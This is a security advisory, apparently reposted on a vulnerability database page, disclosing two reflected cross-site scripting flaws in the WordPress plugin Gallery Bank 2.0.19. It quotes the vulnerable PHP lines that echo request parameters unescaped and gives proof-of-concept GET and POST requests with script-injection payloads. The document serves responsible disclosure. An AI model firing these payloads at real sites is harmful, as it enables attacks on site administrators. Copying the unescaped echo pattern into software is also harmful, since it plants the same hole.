`[SOJOBO-ADV-13-03] - Wordpress plugin Gallery Bank 2.0.19 Reflected Cross Site Scripting
I. * Information *
==================
Name : Wordpress plugin Gallery Bank 2.0.19 Reflected Cross Site Scripting
Software : Gallery Bank 2.0.19 and possibly below.
Vendor Homepage : http://gallery-bank.com/ http://wordpress.org/plugins/gallery-bank/
Vulnerability Type : Reflected Cross-Site Scripting
Severity : Medium (3/5)
Advisory Reference : SOJOBO-ADV-13-03 (http://www.enkomio.com/Advisories)
Credits: Sojobo dev team
Description: A Reflected Cross Site Scripting vulnerability was discovered during the testing of Sojobo, Static Analysis Tool.
II. * Details *
===============
A) Reflected Cross Site Scripting in edit-album.php on admin panel [Impact: 3/5]
Follow a trace to reach the vulnerable code.
File: \gallery-bank\views\edit-album.php
36: $album_id = $_GET["album_id"];
..
50: <input type="hidden" id="hidden_album_id" value="<?php echo $album_id;?>" />
A test request is: /wordpress/wp-admin/admin.php?page=edit_album&album_id="><script>alert('xss');</script>
B) Reflected Cross Site Scripting in album-gallery-bank-class.php on admin panel [Impact: 3/5]
Follow a trace to reach the vulnerable code.
File: \gallery-bank\gallery-bank\lib\album-gallery-bank-class.php
620: $updateRecordsArray = $_POST['recordsArray'];
..
624: foreach ($updateRecordsArray as $recordIDValue)
..
626: $record_val .= $recordIDValue . ",";
..
669: echo $record_val . "_" . $string_to_postback;
A test request is: /wordpress/wp-admin/admin.php?page=add_album&action=album_gallery_library¶m=reorder_td_control and
sending via POST the following data: recordsArray[]=<script>alert('xss');</script>
III. * Report Timeline *
========================
16 October 2013 - First contact
28 October 2013 - New version released
IV. * About Sojobo *
====================
Sojobo allows you to find security vulnerabilities in your PHP web application source code before others do.
By using the state of the art techniques Sojobo is able to identify the most critical vulnerabilities in your code and limit the number of false positives.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation